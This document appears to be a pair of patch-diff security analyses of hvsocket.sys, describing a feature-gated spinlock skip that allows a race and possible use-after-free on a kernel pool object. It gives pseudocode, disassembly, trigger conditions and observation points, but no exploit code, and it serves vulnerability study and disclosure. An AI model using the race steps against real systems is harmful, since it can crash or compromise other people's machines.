Rationale: - The feature-gated dual-path pattern is reproduced across the affected functions and corroborated by direct assembly. The unsynchronized read at [endpoint+0x2B8] and the subsequent [+0x68] dereference on the gate-off branch, versus the lock-then-read behavior of VmbusTlLoopbackReferenceEndpointDeliveryQueue, are unambiguous. The patch removes the gate and calls the synchronized helper unconditionally in every affected function. - The gate is the WIL feature Feature_1274333499__private_IsEnabledDeviceUsage, which reads Feature_1274333499__private_featureState and falls back to Feature_1274333499__private_IsEnabledFallback. Whether the feature is enabled by default — and thus whether the unsynchronized branch runs on a default deployment — is not determinable from the static image. - The Vnpi pool tag (0x69706E56), the +0x08 reference count, +0x48 spinlock, +0x50 CFG-guarded destructor dispatch, +0x58 free-mode selector, +0x60 SLIST header, +0x68 back-pointer, and +0x210 flags are all read directly from the free/dispatch paths in the disassembly.

Not determinable from the binaries (do not assume): - The default enablement state of Feature_1274333499, hence whether the unsynchronized branch is the shipped default. - Any escalation beyond a race-induced use-after-free / bugcheck. The [entry+0x50] dispatch is CFG-guarded, and no pool-reuse, information-leak, or arbitrary read/write primitive is evidenced here.

hvsocket.sys — VMBus loopback endpoint spinlock conditionally skipped behind a feature gate, allowing an unsynchronized access race (CWE-362) — fixed by making locking unconditional

2026-06-29T00:00:00-07:00

1. Overview

Unpatched Binary: hvsocket_unpatched.sys
Patched Binary: hvsocket_patched.sys
Overall Similarity Score: 0.9678
Diff Statistics (as reported by the diff tooling): 269 matched functions (260 identical, 9 changed). 0 unmatched functions added or removed. An independent content diff (matching by name across relocations) confirms the same nine loopback/connection functions changed, plus the feature-staging initializer rbc_InitializeFeatureStaging and the deletion of the gate helper EvaluateCurrentState; no other function changed in a security-relevant way.
Verdict: The patch removes a runtime feature gate (EvaluateCurrentState, a Windows feature-staging / Velocity check) that in the unpatched build conditionally skipped acquisition of the spinlock at object+0x48 protecting the VMBus TL loopback endpoint pointer at object+0x2b8. In the patched build the spinlock is acquired unconditionally, and the feature-descriptor table is emptied so the gate can no longer take the lock-skipping path. This is a synchronization hardening: when the gate resolved to the lock-skipping path, the endpoint pointer and its reference count were read, cleared, and referenced without the spinlock, creating a data race with the loopback reference/set paths that legitimately hold that spinlock (potentially at DISPATCH_LEVEL).

2. Vulnerability Summary

Severity: Medium
Vulnerability Class: Race condition from improper synchronization (CWE-362), with a potential use-after-free consequence (CWE-416). This is not a classic check-then-use TOCTOU (CWE-367): there is no re-validated condition, only unsynchronized shared-state access.
Affected Functions: VmbusTlLoopbackDisconnect (unpatched 0x1C0006C30), VmbusTlLoopbackSend (unpatched 0x1C00065EC), and seven other loopback/connection functions listed in section 8.
Root Cause: In the unpatched driver the loopback endpoint operations call EvaluateCurrentState (0x1C0001D78) to decide whether to acquire the spinlock at object+0x48 before reading/clearing/referencing the loopback endpoint pointer at object+0x2b8. EvaluateCurrentState is a feature-staging check: it calls EvaluateFeature on the WIL feature descriptor reg_FeatureDescriptors_a and returns (cached_state != 1) (non-zero when the feature is enabled, zero when disabled). When it returns zero, the spinlock is bypassed and the endpoint pointer at object+0x2b8 is read and cleared without the spinlock. The spinlock at object+0x48 is the genuine synchronization primitive for this pointer: VmbusTlLoopbackReferenceEndpointDeliveryQueue and VmbusTlLoopbackSetEndpointDeliveryQueue acquire it unconditionally (in both builds) while reading object+0x2b8 and adjusting the endpoint reference count. Skipping it in the disconnect/send/notify paths therefore removes the mutual exclusion that keeps the endpoint pointer and reference count consistent across concurrent access. The patch removes the gate and acquires the spinlock unconditionally.
Attacker-Reachable Entry Point: Hyper-V socket (AF_HYPERV / HVSOCKET) user-mode operations. Send/disconnect operations on a loopback (same-partition) connection reach VmbusTlLoopbackSend / VmbusTlLoopbackDisconnect.
Reachability Caveat: Whether the lock-skipping path is actually taken depends on the runtime state of the WIL/Velocity feature descriptor, which is controlled by the OS/servicing configuration, not by the attacker. The unlocked path is reachable only in configurations where that feature resolves to the disabled state. The patch removes this dependency entirely.

3. Pseudocode Diff

Below is the read/clear sequence for the primary function, VmbusTlLoopbackDisconnect, showing the conditional-versus-unconditional spinlock. Note that the later reference-count drop and free of the endpoint/connection objects (via lock xadd, a CFG-checked cleanup callback, and ExFreePoolWithTag) occur outside the spinlock in both builds; the spinlock’s role is to make the read-and-clear of object+0x2b8 (and the back-pointer at endpoint+0x68) atomic against concurrent holders of that spinlock.

// UNPATCHED VmbusTlLoopbackDisconnect (0x1C0006C30)
void* VmbusTlLoopbackDisconnect(void* arg1) {
    KeEnterCriticalRegion();
    ExAcquireFastMutexUnsafe(arg1 + 0x10);

    // Feature gate: spinlock acquired only when EvaluateCurrentState() != 0
    char irql = 0;
    if (EvaluateCurrentState() != 0)
        irql = KeAcquireSpinLockRaiseToDpc(arg1 + 0x48);

    // When EvaluateCurrentState() == 0, this read/clear runs WITHOUT the spinlock:
    void* ep = *(arg1 + 0x2b8);
    *(arg1 + 0x2b8) = 0;
    void* conn = 0;
    if (ep) {
        conn = *(ep + 0x68);
        if (EvaluateCurrentState() != 0)
            *(ep + 0x68) = 0;
    }

    if (EvaluateCurrentState() != 0)              // conditional release
        KeReleaseSpinLock(arg1 + 0x48, irql);

    ExReleaseFastMutexUnsafe(arg1 + 0x10);
    KeLeaveCriticalRegion();
    // ... reference-count drop / free of conn and ep (outside any lock, same in both builds)
}

// PATCHED VmbusTlLoopbackDisconnect (0x1C00068B0)
void* VmbusTlLoopbackDisconnect(void* arg1) {
    KeEnterCriticalRegion();
    ExAcquireFastMutexUnsafe(arg1 + 0x10);

    char irql = KeAcquireSpinLockRaiseToDpc(arg1 + 0x48);  // unconditional
    void* ep = *(arg1 + 0x2b8);                            // read under spinlock
    *(arg1 + 0x2b8) = 0;                                   // clear under spinlock
    void* conn = 0;
    if (ep) { conn = *(ep + 0x68); *(ep + 0x68) = 0; }
    KeReleaseSpinLock(arg1 + 0x48, irql);                  // unconditional

    ExReleaseFastMutexUnsafe(arg1 + 0x10);
    KeLeaveCriticalRegion();
    // ... reference-count drop / free of conn and ep (unchanged from unpatched)
}

4. Assembly Analysis

Unpatched VmbusTlLoopbackDisconnect (0x1C0006C30) — the conditional spinlock and the unsynchronized read/clear:

00000001C0006C6F  call    EvaluateCurrentState                 ; feature-staging check
00000001C0006C74  test    eax, eax
00000001C0006C76  jz      loc_1C0006C8B                        ; skip spinlock when feature disabled
00000001C0006C78  lea     rcx, [rbx+48h]                       ; SpinLock (only if eax != 0)
00000001C0006C7C  call    cs:__imp_KeAcquireSpinLockRaiseToDpc
00000001C0006C88  mov     dil, al                              ; save IRQL
00000001C0006C8B  mov     rsi, [rbx+2B8h]                      ; read endpoint ptr (unlocked if je taken)
00000001C0006C92  and     qword ptr [rbx+2B8h], 0              ; clear endpoint ptr (unlocked if je taken)
00000001C0006C9A  test    rsi, rsi
00000001C0006C9D  jz      loc_1C0006CB3
00000001C0006C9F  mov     rbp, [rsi+68h]                       ; back-pointer to connection object
00000001C0006CA3  call    EvaluateCurrentState                 ; second gate (clear of [rsi+68h])
00000001C0006CB5  call    EvaluateCurrentState                 ; third gate (spinlock release)

The subsequent reference-count drop / free block operates on rbp and rsi after the fast mutex and (conditional) spinlock are released — the same code exists in the patched build:

00000001C0006D6A  lock xadd [rbp+8], rax                       ; reference-count decrement (connection object)
00000001C0006D88  mov     rax, [rbp+50h]                       ; cleanup callback pointer
00000001C0006D94  call    cs:__guard_dispatch_icall_fptr       ; CFG-checked indirect call
00000001C0006DF1  call    cs:__imp_ExFreePoolWithTag           ; free (tag 'Vnpi' = 0x69706E56)

Patched VmbusTlLoopbackDisconnect (0x1C00068B0) — the gate is gone; the spinlock is acquired unconditionally before touching rbx+0x2b8:

00000001C00068E7  lea     rcx, [rbx+48h]                       ; SpinLock
00000001C00068EB  call    cs:__imp_KeAcquireSpinLockRaiseToDpc ; unconditional
00000001C00068F7  mov     rsi, [rbx+2B8h]                      ; read under spinlock
00000001C00068FE  and     qword ptr [rbx+2B8h], 0              ; clear under spinlock
00000001C0006918  mov     dl, al
00000001C000691E  call    cs:__imp_KeReleaseSpinLock           ; unconditional

Gate helper EvaluateCurrentState (0x1C0001D78, unpatched only) — confirms this is a feature-staging check, not a runtime state variable:

00000001C0001D7C  lea     rcx, reg_FeatureDescriptors_a
00000001C0001D83  call    EvaluateFeature
00000001C0001D88  mov     rax, cs:reg_FeatureDescriptors_a
00000001C0001D8F  mov     ecx, [rax]
00000001C0001D93  cmp     ecx, 1
00000001C0001D96  setnz   al                                   ; returns (cached_state != 1)

5. Trigger Conditions

Environment: A system with Hyper-V sockets loaded (hvsocket.sys).
Feature state: The WIL feature checked by EvaluateCurrentState must resolve to the disabled state so the lock-skipping path is taken. This is governed by servicing/feature configuration, not by the attacker.
Loopback connection: Establish an AF_HYPERV loopback (same-partition) connection, creating the VMBus TL loopback endpoint.
Concurrency: Issue disconnect (VmbusTlLoopbackDisconnect) concurrently with send/notify (VmbusTlLoopbackSend, VmbusTlLoopbackNotifyReceiveConsumed) on the same endpoint. Because the disconnect/send/notify paths skip the spinlock while VmbusTlLoopbackReferenceEndpointDeliveryQueue / VmbusTlLoopbackSetEndpointDeliveryQueue hold it, the read/clear/reference of the endpoint pointer and its reference count are not mutually exclusive.

6. Impact

Demonstrable change: The spinlock at object+0x48 that guards the loopback endpoint pointer at object+0x2b8 is made unconditional; the feature gate and the feature-descriptor table that enabled the lock-skipping path are removed.
Realistic consequence: When the lock-skipping path was active, the endpoint pointer and reference count could be manipulated concurrently with the spinlock-holding reference/set paths. The plausible outcome is an inconsistent reference count on the 'Vnpi' NonPagedPool connection/endpoint object, which can lead to a premature reference drop and use-after-free of that object. The object is dereferenced afterward for a reference-count decrement (lock xadd), a CFG-checked cleanup callback, and ExFreePoolWithTag.
Not demonstrated by the binaries: A concrete arbitrary-read/write primitive, function-pointer hijack (the callback dereference is a CFG-guarded indirect call), pool-spray reclamation layout, or code-execution chain. Those are not evidenced here and are not claimed.

7. Observability Notes (unpatched target)

The race window is between the unlocked read of the endpoint pointer at 0x1C0006C8B and the later reference-count drop of that object. Useful observation points on the unpatched build: - 0x1C0006C6F — call EvaluateCurrentState; if the return value in eax is zero, the spinlock is skipped (unlocked path). - 0x1C0006C8B — mov rsi, [rbx+2B8h]; the endpoint pointer read, unlocked when arriving via the je at 0x1C0006C76. - 0x1C0006D6A — lock xadd [rbp+8], rax; reference-count decrement on the connection object. Racing partner: VmbusTlLoopbackSend (0x1C00065EC), which likewise consults EvaluateCurrentState before referencing the same endpoint. Instability of the endpoint reference count under concurrent disconnect/send on the same loopback endpoint (when the feature is disabled) is the observable symptom; a bad reference count typically surfaces as a RtlFailFast (int 29h) reference-count assertion or a pool bugcheck.

8. Changed Functions — Full Triage

All nine functions below drop one or more EvaluateCurrentState gates; the patched build contains zero calls to that helper. The two functions whose change is literally "the KeAcquireSpinLockRaiseToDpc at object+0x48 becomes unconditional" are VmbusTlLoopbackDisconnect and VmbusTlLoopbackNotifyReceiveConsumed; the others remove the gate around a fast mutex (object+0x10) or around the delivery-queue reference/set helpers, which themselves lock object+0x48 unconditionally. - VmbusTlLoopbackDisconnect (unpatched 0x1C0006C30 → patched 0x1C00068B0, Sim 0.9128): conditional spinlock at +0x48 removed; endpoint pointer at +0x2b8 now read/cleared under an unconditional spinlock. - VmbusTlLoopbackSend (unpatched 0x1C00065EC → patched 0x1C00062A4, Sim 0.8832): gate removed; VmbusTlLoopbackReferenceEndpointDeliveryQueue (the spinlock-protected endpoint-reference helper) is now always called instead of the unlocked [arg1+0x2b8] fast path. - VmbusTlLoopbackNotifyReceiveConsumed (unpatched 0x1C0006F50 → patched 0x1C0006BB0, Sim 0.8389): the !EvaluateCurrentState() fallback that took the spinlock directly is removed; only the delivery-queue-reference path remains. - VmbusTlNotifyListenerAccept (unpatched 0x1C0005F18 → patched 0x1C0005C68, Sim 0.8043): the if (EvaluateCurrentState()) wrapper around the endpoint-reference / connect-dispatch path is removed; that path now runs unconditionally. - VmbusTlLoopbackSetupConnection (unpatched 0x1C001B1D0 → patched 0x1C001B100, Sim 0.4819): gate removed; the critical-region / fast-mutex release path around loopback endpoint setup is now unconditional (the non-feature [arg2+0x2b8]=0 branch dropped). Larger rewrite / signature change. - VmbusTlLoopbackAcceptConnection (unpatched 0x1C001B630 → patched 0x1C001B530, Sim 0.6072): gate removed; always references the delivery queue and calls VmbusTlLoopbackSetEndpointDeliveryQueue (the non-feature mutex branch dropped). - VmbusTlCommonConnectCompletion (unpatched 0x1C0002670 → patched 0x1C00023D0, Sim 0.9609): gate removed from a compound condition — if (EvaluateCurrentState() && (flags & 0x80)) becomes if (flags & 0x80). - VmbusTlProviderListen (unpatched 0x1C001E420 → patched 0x1C001E290, Sim 0.5765): top-level gate removed, collapsing two near-duplicate silo/partition-resolution paths into one; the former VmbusTlCreateListenEndpoint wrapper is inlined here. - VmbusTlProcessNewConnectionForListener (unpatched 0x1C0019E60 → patched 0x1C0019DB0, Sim 0.9756): two EvaluateCurrentState gates removed; the fast-mutex-guarded partition lookup / state check now runs unconditionally.

Additionally, the enabling mechanism (not a separate vulnerability): - rbc_InitializeFeatureStaging (unpatched 0x1C000C694 → patched 0x1C000C4F8): the feature-descriptor registration loop is neutered to an empty range (&reg_FeatureDescriptors_z .. &reg_FeatureDescriptors_z), i.e., the feature-staging table is emptied. - EvaluateCurrentState (0x1C0001D78, unpatched only): the gate helper itself is deleted in the patched build.

9. Unmatched Functions

No security-relevant functions were added or removed. EvaluateCurrentState is deleted and VmbusTlCreateListenEndpoint disappears through inlining into VmbusTlProviderListen; both are consequences of the feature-gate removal, not independent changes. An independent content diff found no security-relevant change outside the feature-staging removal theme (authentication, address validation, bounds checks, and parsing paths are unchanged).

10. Confidence & Caveats

Confidence in the mechanism: High. The conditional spinlock and its removal are directly visible in the disassembly of both builds, and EvaluateCurrentState is unambiguously a feature-staging check over reg_FeatureDescriptors_a via EvaluateFeature.
Confidence in impact: Moderate. The spinlock is the real synchronization primitive for object+0x2b8 (the reference/set helpers lock it unconditionally in both builds), so skipping it is a genuine data race, and a premature-reference-drop / use-after-free of the 'Vnpi' object is a plausible consequence. However, the binaries do not demonstrate a concrete exploit primitive or code-execution path, and the reference-count drop/free operations occur outside the spinlock in both builds.
Reachability: The unlocked path is gated by a WIL/Velocity feature flag controlled by the OS/servicing configuration, not by the attacker. Exploitability is constrained to configurations where that feature resolves to disabled.
CWE: Primary CWE-362 (improper synchronization / race condition); potential consequence CWE-416 (use-after-free). CWE-367 (TOCTOU) is not an accurate fit — there is no re-checked condition, only unsynchronized shared-state access.

hvsocket.sys — Feature-gated loopback endpoint use-after-free / race in teardown (CWE-416/CWE-362) fixed

2026-06-29T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`hvsocket_unpatched.sys`
Patched binary	`hvsocket_patched.sys`
Overall similarity	0.9678
Matched functions	269
Changed functions	9
Identical functions	260
Unmatched (unpatched)	0
Unmatched (patched)	0

Verdict: The patch removes the WIL feature gate EvaluateCurrentState (0x1C0001D78) from 9 loopback-transport functions. In the unpatched build the gate selects between a legacy path that touches the single pending-loopback-entry pointer at endpoint+0x2b8 without a lock or a reference count, and a newer path that reads that pointer under the endpoint spinlock and takes a reference before use. Removing the gate makes the reference-counted, spinlock-synchronized path the only path, closing a use-after-free / race window against concurrent loopback teardown (CWE-416 / CWE-362). This is a synchronization fix, not a double-free. Its real-world reachability depends on the runtime default of the feature, which cannot be determined from the static image alone.

2. Vulnerability Summary

Finding 1 — Unsynchronized pending-entry access in `VmbusTlLoopbackDisconnect`

Field	Detail
Severity	Medium
Class	Race condition / use-after-free (CWE-362 / CWE-416)
Function	`VmbusTlLoopbackDisconnect` (unpatched `0x1C0006C30`, patched `0x1C00068B0`)

What actually changed. In the unpatched build the endpoint spinlock at endpoint+0x48 is acquired and released only when EvaluateCurrentState returns true. The read-and-clear of the pending loopback entry pointer at endpoint+0x2b8 (mov rsi, [rbx+2B8h] / and qword [rbx+2B8h], 0) therefore runs without the spinlock on the legacy path. The patch removes the gate and acquires/releases the spinlock unconditionally, and unconditionally clears the peer back-reference *(entry+0x68).

No double-free is present. On both builds the function reads two distinct objects and releases each exactly once:

rsi = *(endpoint+0x2b8) — call it object A (the pending loopback entry).
rbp = *(A+0x68) — call it object B (the peer object A points to at offset 0x68).

A and B are separate 'Vnpi'-tagged allocations with the same layout. The function decrements A's reference count (lock xadd [rsi+8]) and frees A at 0x1C0006EBC only if A's count reaches zero, and independently decrements B's reference count (lock xadd [rbp+8]) and frees B at 0x1C0006DF1 only if B's count reaches zero. Neither pointer is freed twice. The and qword [rsi+68h], 0 instruction zeroes A's +0x68 field (its pointer to B); it does not zero rsi itself, which continues to hold object A through its own teardown.

Entry point and data flow:

A user-mode application closes an AF_HYPERV socket that has a pending loopback entry stored at endpoint+0x2b8.
hvsocket.sys endpoint teardown reaches VmbusTlLoopbackDisconnect.
On the legacy (gate-false) path, endpoint+0x2b8 is read and cleared without the endpoint spinlock, so a concurrent thread that reads the same slot (see Findings 2–3) can observe or race the teardown.

Finding 2 — Unreferenced pending-entry read in `VmbusTlLoopbackNotifyReceiveConsumed`

Field	Detail
Severity	Medium
Class	Use-after-free / race condition (CWE-416 / CWE-362)
Function	`VmbusTlLoopbackNotifyReceiveConsumed` (unpatched `0x1C0006F50`, patched `0x1C0006BB0`)

Root cause. When EvaluateCurrentState returns true, the function calls VmbusTlLoopbackReferenceEndpointDeliveryQueue (0x1C0007128), which acquires the endpoint spinlock, reads endpoint+0x2b8, increments the entry's reference count under the lock, and releases the lock. When the gate returns false (legacy path at 0x1C00070A3), the function instead reads rdi = *(endpoint+0x2b8) directly, dereferences *(rdi+0x68) (the peer object), acquires that peer's spinlock at +0x48, and sets *(peer+0x210) |= 2 — all without taking a reference on the entry first. A concurrent VmbusTlLoopbackDisconnect can drop the last reference and free the entry between the unlocked read and the dereference. The patch always uses the referenced path.

Finding 3 — Unreferenced pending-entry read in `VmbusTlLoopbackSend`

Field	Detail
Severity	Medium
Class	Use-after-free / race condition (CWE-416 / CWE-362)
Function	`VmbusTlLoopbackSend` (unpatched `0x1C00065EC`, patched `0x1C00062A4`)

Root cause. Same pattern. On the gate-true path, rbx = VmbusTlLoopbackReferenceEndpointDeliveryQueue(endpoint) returns a referenced entry (with a null check). On the legacy gate-false path at 0x1C0006640, rbx = *(endpoint+0x2b8) is read raw with no reference and no null check, then later dereferenced (mov rax, [rbx+68h] at 0x1C00066CD). A concurrent disconnect/close can free the entry mid-operation. The patch always uses the referenced path.

Finding 4 — Feature-gated single-slot store in `VmbusTlLoopbackAcceptConnection` / `VmbusTlLoopbackSetupConnection`

Field	Detail
Severity	Low
Class	Race condition (CWE-362)
Functions	`VmbusTlLoopbackAcceptConnection` (`0x1C001B630`), `VmbusTlLoopbackSetupConnection` (`0x1C001B1D0`)

Root cause. These functions create the 0x70-byte 'Vnpi' entry (VmbusTlCreateObject, size 0x70) and publish it into endpoint+0x2b8. EvaluateCurrentState gates parts of the setup/teardown around this store (2 gate calls in VmbusTlLoopbackSetupConnection, 3 in VmbusTlLoopbackAcceptConnection). Removing the gate makes the surrounding critical-region and mutex handling unconditional so publication and teardown of the slot follow one consistent locking discipline. This is the write side of the same synchronization change addressed in Findings 1–3.

Finding 5 — Feature-gated cleanup path in `VmbusTlLoopbackSetupConnection` / `VmbusTlLoopbackAcceptConnection`

Field	Detail
Severity	Informational (defense-in-depth)
Class	Lock-handling consistency
Functions	`VmbusTlLoopbackSetupConnection` (`0x1C001B1D0`), `VmbusTlLoopbackAcceptConnection` (`0x1C001B630`)

Root cause. The gate also guarded cleanup-time ExReleaseFastMutexUnsafe / KeLeaveCriticalRegion and object dereference in the setup/accept paths. Removing the gate makes acquisition and release unconditional and symmetric. A lock imbalance would require the gate to evaluate differently between the matched acquire and release within a single call; because both are guarded by the same runtime feature evaluation, this is not a demonstrable imbalance in either build. The change is best read as making the locking discipline unconditional (defense-in-depth), not fixing a live deadlock.

3. Pseudocode Diff

Finding 1 — `VmbusTlLoopbackDisconnect`

// ==================== UNPATCHED ====================
void VmbusTlLoopbackDisconnect(ENDPOINT* ep)
{
    KeEnterCriticalRegion();
    ExAcquireFastMutexUnsafe(&ep->mutex);            // ep+0x10

    if (EvaluateCurrentState())                      // WIL feature gate
        oldirql = KeAcquireSpinLockRaiseToDpc(&ep->spinlock); // ep+0x48

    ENTRY* A = *(ep + 0x2b8);                         // pending loopback entry
    *(ep + 0x2b8) = NULL;

    ENTRY* B;
    if (A != NULL) {
        B = *(A + 0x68);                              // peer object (DISTINCT from A)
        if (EvaluateCurrentState())
            *(A + 0x68) = NULL;                       // clear back-reference (gated)
    } else {
        B = NULL;
    }

    if (EvaluateCurrentState())
        KeReleaseSpinLock(&ep->spinlock, oldirql);
    ExReleaseFastMutexUnsafe(&ep->mutex);
    KeLeaveCriticalRegion();

    // B teardown: decrement B refcount; free B (0x1C0006DF1) only if it hits zero
    // A teardown: decrement A refcount; free A (0x1C0006EBC) only if it hits zero
    // A and B are separate allocations, each freed at most once.
}

// ==================== PATCHED ====================
void VmbusTlLoopbackDisconnect(ENDPOINT* ep)
{
    KeEnterCriticalRegion();
    ExAcquireFastMutexUnsafe(&ep->mutex);
    oldirql = KeAcquireSpinLockRaiseToDpc(&ep->spinlock);  // always

    ENTRY* A = *(ep + 0x2b8);
    *(ep + 0x2b8) = NULL;

    ENTRY* B;
    if (A != NULL) {
        B = *(A + 0x68);
        *(A + 0x68) = NULL;                           // always cleared
    } else {
        B = NULL;
    }

    KeReleaseSpinLock(&ep->spinlock, oldirql);        // always
    ExReleaseFastMutexUnsafe(&ep->mutex);
    KeLeaveCriticalRegion();

    // identical B and A teardown as above
}

Finding 2 — `VmbusTlLoopbackNotifyReceiveConsumed`

// ==================== UNPATCHED ====================
void VmbusTlLoopbackNotifyReceiveConsumed(ENDPOINT* ep)
{
    if (EvaluateCurrentState()) {                     // gate true: safe path
        ENTRY* e = VmbusTlLoopbackReferenceEndpointDeliveryQueue(ep); // locked + refcounted
        if (!e) return;
        void* peer = *(e + 0x68);
        KeAcquireSpinLockRaiseToDpc(peer + 0x48);
        *(peer + 0x210) |= 2;
        // ... release reference ...
    } else {                                          // gate false: legacy path
        void* e = *(ep + 0x2b8);                       // UNLOCKED, UNREFERENCED read
        if (e) {
            void* peer = *(e + 0x68);                   // may already be freed
            KeAcquireSpinLockRaiseToDpc(peer + 0x48);
            *(peer + 0x210) |= 2;
        }
    }
}

// ==================== PATCHED ====================
void VmbusTlLoopbackNotifyReceiveConsumed(ENDPOINT* ep)
{
    ENTRY* e = VmbusTlLoopbackReferenceEndpointDeliveryQueue(ep); // always locked + refcounted
    if (!e) return;
    // ... safe access with proper lock + refcount ...
}

4. Assembly Analysis

Finding 1 — `VmbusTlLoopbackDisconnect` (unpatched `0x1C0006C30`)

; ---- prologue ----
00000001C0006C30  mov     rax, rsp
00000001C0006C4D  mov     rbx, rcx                    ; rbx = endpoint
00000001C0006C50  xor     dil, dil
00000001C0006C53  call    cs:__imp_KeEnterCriticalRegion
00000001C0006C5F  lea     rcx, [rbx+10h]              ; FastMutex
00000001C0006C63  call    cs:__imp_ExAcquireFastMutexUnsafe
00000001C0006C6F  call    EvaluateCurrentState        ; WIL feature gate #1
00000001C0006C74  test    eax, eax
00000001C0006C76  jz      short loc_1C0006C8B         ; gate false -> skip spinlock
00000001C0006C78  lea     rcx, [rbx+48h]              ; SpinLock
00000001C0006C7C  call    cs:__imp_KeAcquireSpinLockRaiseToDpc
00000001C0006C88  mov     dil, al                     ; save old IRQL

; ---- read/clear pending entry (A) and read peer (B) ----
00000001C0006C8B  mov     rsi, [rbx+2B8h]             ; rsi = A = *(endpoint+0x2b8)
00000001C0006C92  and     qword ptr [rbx+2B8h], 0     ; clear slot
00000001C0006C9A  test    rsi, rsi
00000001C0006C9D  jz      short loc_1C0006CB3
00000001C0006C9F  mov     rbp, [rsi+68h]             ; rbp = B = *(A+0x68)  (DISTINCT object)
00000001C0006CA3  call    EvaluateCurrentState        ; gate #2
00000001C0006CA8  test    eax, eax
00000001C0006CAA  jz      short loc_1C0006CB5
00000001C0006CAC  and     qword ptr [rsi+68h], 0      ; clear A's back-ref to B (gated)
00000001C0006CB1  jmp     short loc_1C0006CB5
00000001C0006CB3  xor     ebp, ebp                    ; B = NULL

; ---- release locks ----
00000001C0006CB5  call    EvaluateCurrentState        ; gate #3
00000001C0006CBA  test    eax, eax
00000001C0006CBC  jz      short loc_1C0006CD1
00000001C0006CC1  lea     rcx, [rbx+48h]
00000001C0006CC5  call    cs:__imp_KeReleaseSpinLock
00000001C0006CD1  lea     rcx, [rbx+10h]
00000001C0006CD5  call    cs:__imp_ExReleaseFastMutexUnsafe
00000001C0006CE1  call    cs:__imp_KeLeaveCriticalRegion

; ---- B (rbp) teardown: refcount then conditional free ----
00000001C0006D6A  lock xadd [rbp+8], rax              ; decrement B refcount
00000001C0006D73  test    rax, rax
00000001C0006D76  jg      loc_1C0006E0A               ; still referenced -> skip free
00000001C0006DE9  mov     edx, 69706E56h              ; tag 'Vnpi'
00000001C0006DEE  mov     rcx, rbp
00000001C0006DF1  call    cs:__imp_ExFreePoolWithTag  ; free B (only if count hit zero)

; ---- A (rsi) teardown: refcount then conditional free ----
00000001C0006E0A  test    rsi, rsi
00000001C0006E0D  jz      loc_1C0006EC8
00000001C0006E3C  lock xadd [rsi+8], rax              ; decrement A refcount
00000001C0006E45  test    rax, rax
00000001C0006E48  jg      short loc_1C0006EC8
00000001C0006EB4  mov     edx, 69706E56h              ; tag 'Vnpi'
00000001C0006EB9  mov     rcx, rsi
00000001C0006EBC  call    cs:__imp_ExFreePoolWithTag  ; free A (distinct object)
00000001C0006EE6  retn

The two ExFreePoolWithTag sites operate on different pointers (rbp = object B, rsi = object A), each guarded by its own reference-count check. There is no path on which the same pointer is passed to ExFreePoolWithTag twice.

Finding 1 — Patched equivalent (`0x1C00068B0`)

00000001C00068E7  lea     rcx, [rbx+48h]
00000001C00068EB  call    cs:__imp_KeAcquireSpinLockRaiseToDpc   ; always acquired
00000001C00068F7  mov     rsi, [rbx+2B8h]                        ; rsi = A
00000001C00068FE  and     qword ptr [rbx+2B8h], 0
00000001C0006906  test    rsi, rsi
00000001C0006909  jz      short loc_1C0006916
00000001C000690B  mov     rbp, [rsi+68h]                         ; rbp = B
00000001C000690F  and     qword ptr [rsi+68h], 0                 ; back-ref always cleared
00000001C0006916  xor     ebp, ebp
00000001C0006918  mov     dl, al
00000001C000691A  lea     rcx, [rbx+48h]
00000001C000691E  call    cs:__imp_KeReleaseSpinLock             ; always released

No call EvaluateCurrentState appears anywhere in the patched function; the spinlock is always acquired and released and the back-reference is always cleared.

Finding 2 — safe-path helper `VmbusTlLoopbackReferenceEndpointDeliveryQueue` (`0x1C0007128`)

00000001C0007137  lea     rdi, [rcx+48h]                          ; endpoint spinlock
00000001C0007141  call    cs:__imp_KeAcquireSpinLockRaiseToDpc    ; lock held for read+ref
00000001C000714D  mov     rbx, [rbx+2B8h]                         ; read entry under lock
00000001C0007157  test    rbx, rbx
00000001C000715A  jz      short loc_1C00071A4
00000001C000718E  lock xadd [rbx+8], rdx                          ; take a reference
00000001C00071AA  call    cs:__imp_KeReleaseSpinLock
00000001C00071C8  retn                                            ; returns referenced entry

Finding 2 — legacy path in `VmbusTlLoopbackNotifyReceiveConsumed` (unpatched `0x1C00070A3`)

00000001C00070A3  mov     rdi, [rbx+2B8h]                         ; UNLOCKED, UNREFERENCED read
00000001C00070AA  test    rdi, rdi
00000001C00070AD  jz      short loc_1C00070EA
00000001C00070AF  mov     rdi, [rdi+68h]                         ; deref peer (may be freed)
00000001C00070B3  lea     rcx, [rdi+48h]
00000001C00070B7  call    cs:__imp_KeAcquireSpinLockRaiseToDpc
00000001C00070C3  or      dword ptr [rdi+210h], 2                ; write to peer object

Finding 3 — legacy path in `VmbusTlLoopbackSend` (unpatched `0x1C0006640`)

00000001C0006622  test    eax, eax                                ; gate result
00000001C0006624  jz      short loc_1C0006640
00000001C0006629  call    VmbusTlLoopbackReferenceEndpointDeliveryQueue  ; safe path (gate true)
...
00000001C0006640  mov     rbx, [r15+2B8h]                         ; legacy: raw, no ref, no null check
...
00000001C00066CD  mov     rax, [rbx+68h]                          ; later deref of the raw pointer

5. Trigger Conditions

Findings 1–3 — race / use-after-free on the legacy path

Obtain a socket handle. Open an AF_HYPERV socket from a process with access to the Hyper-V socket provider. hvsocket.sys must be loaded.
Establish a loopback endpoint so that the pending loopback entry at endpoint+0x2b8 is populated (via the accept/setup path in VmbusTlLoopbackAcceptConnection / VmbusTlLoopbackSetupConnection).
Feature gate must select the legacy path. EvaluateCurrentState (0x1C0001D78) returns false when the evaluated feature state equals 1. Whether this is the runtime default cannot be determined from the static image and must be confirmed on the target build.
Race two operations on the same endpoint:
Thread A issues a receive-consumed notification or a send (VmbusTlLoopbackNotifyReceiveConsumed / VmbusTlLoopbackSend), which on the legacy path reads endpoint+0x2b8 without a lock or reference.
Thread B closes/disconnects the endpoint (VmbusTlLoopbackDisconnect), which reads, clears, and reference-decrements the same entry.
Observable result. If the entry's last reference is dropped by Thread B in the window between Thread A's unlocked read and its dereference, Thread A operates on freed pool memory (PAGE_FAULT_IN_NONPAGED_AREA (0x50) or pool corruption), or the disconnect and notify paths race on the same slot.

The double ExFreePoolWithTag observation described in earlier drafts does not occur: the two free sites in VmbusTlLoopbackDisconnect free two distinct objects (A and B), each once.

6. Impact Assessment

Class: Use-after-free / race condition on a kernel pool object reachable from the Hyper-V socket loopback path.
